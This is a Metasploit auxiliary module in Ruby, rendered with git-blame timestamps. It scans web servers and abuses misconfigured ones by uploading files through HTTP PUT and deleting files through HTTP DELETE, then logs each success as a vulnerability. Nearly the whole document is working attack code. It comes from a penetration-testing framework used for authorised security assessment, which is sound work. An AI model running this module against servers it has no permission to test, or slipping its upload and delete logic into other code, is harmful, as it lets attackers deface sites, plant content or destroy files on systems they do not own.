2007-04-24 06:27:39 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2007-04-24 06:27:39 +00:00
|
|
|
|
|
|
|
# Exploit mixins should be called first
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::WMAPScanDir
|
2007-04-24 06:27:39 +00:00
|
|
|
# Scanner mixin should be near last
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Auxiliary::Scanner
|
2007-04-24 06:27:39 +00:00
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'HTTP Writable Path PUT/DELETE File Access',
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => %q{
|
|
|
|
This module can abuse misconfigured web servers to
|
|
|
|
upload and delete web content via PUT and DELETE HTTP
|
|
|
|
requests.
|
|
|
|
},
|
2008-09-22 22:32:20 +00:00
|
|
|
'Author' => [ 'Kashif [at] compulife.com.pk',
|
|
|
|
],
|
2007-04-24 06:27:39 +00:00
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'Actions' =>
|
|
|
|
[
|
|
|
|
['PUT'],
|
|
|
|
['DELETE']
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'PUT'
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('PATH', [ true, "The path to attempt to write or delete", '/http_write.txt']),
|
|
|
|
OptString.new('DATA', [ false, "The data to upload into the file", ' '])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
# Test a single host
|
|
|
|
def run_host(ip)
|
|
|
|
|
|
|
|
self.target_port = datastore['RPORT']
|
|
|
|
|
|
|
|
case action.name
|
|
|
|
when 'PUT'
|
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
2007-04-25 02:51:49 +00:00
|
|
|
'uri' => datastore['PATH'],
|
|
|
|
'method' => 'PUT',
|
2007-04-24 06:27:39 +00:00
|
|
|
'ctype' => 'text/plain',
|
|
|
|
'data' => datastore['DATA']
|
|
|
|
}, 20)
|
|
|
|
|
|
|
|
return if not res
|
|
|
|
if (res and res.code >= 200 and res.code < 300)
|
|
|
|
print_status("Upload succeeded on http://#{target_host}:#{target_port}#{datastore['PATH']} [#{res.code}]")
|
2008-10-27 02:22:30 +00:00
|
|
|
|
|
|
|
rep_id = wmap_base_report_id(
|
2008-11-10 04:38:05 +00:00
|
|
|
wmap_target_host,
|
|
|
|
wmap_target_port,
|
|
|
|
wmap_target_ssl
|
2008-10-27 02:22:30 +00:00
|
|
|
)
|
|
|
|
|
|
|
|
wmap_report(rep_id,'VULNERABILITY','PUT_ENABLED',"#{datastore['PATH']}","Upload succeeded on #{datastore['PATH']}")
|
2007-04-24 06:27:39 +00:00
|
|
|
else
|
|
|
|
print_status("Upload failed on http://#{target_host}:#{target_port} [#{res.code} #{res.message}]")
|
|
|
|
end
|
|
|
|
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
|
|
|
|
|
|
|
when 'DELETE'
|
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
2007-04-25 02:51:49 +00:00
|
|
|
'uri' => datastore['PATH'],
|
|
|
|
'method' => 'DELETE'
|
2007-04-24 06:27:39 +00:00
|
|
|
}, 10)
|
|
|
|
|
|
|
|
return if not res
|
|
|
|
if (res and res.code >= 200 and res.code < 300)
|
|
|
|
print_status("Delete succeeded on http://#{target_host}:#{target_port}#{datastore['PATH']} [#{res.code}]")
|
2008-10-27 02:22:30 +00:00
|
|
|
|
|
|
|
rep_id = wmap_base_report_id(
|
|
|
|
self.target_host,
|
|
|
|
self.target_port,
|
|
|
|
self.ssl
|
|
|
|
)
|
|
|
|
|
|
|
|
wmap_report(rep_id,'VULNERABILITY','DELETE_ENABLED',"#{datastore['PATH']}","Delete succeeded on #{datastore['PATH']}")
|
2007-04-24 06:27:39 +00:00
|
|
|
else
|
|
|
|
print_status("Delete failed on http://#{target_host}:#{target_port} [#{res.code} #{res.message}]")
|
|
|
|
end
|
|
|
|
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2008-11-10 04:38:05 +00:00
|
|
|
end
|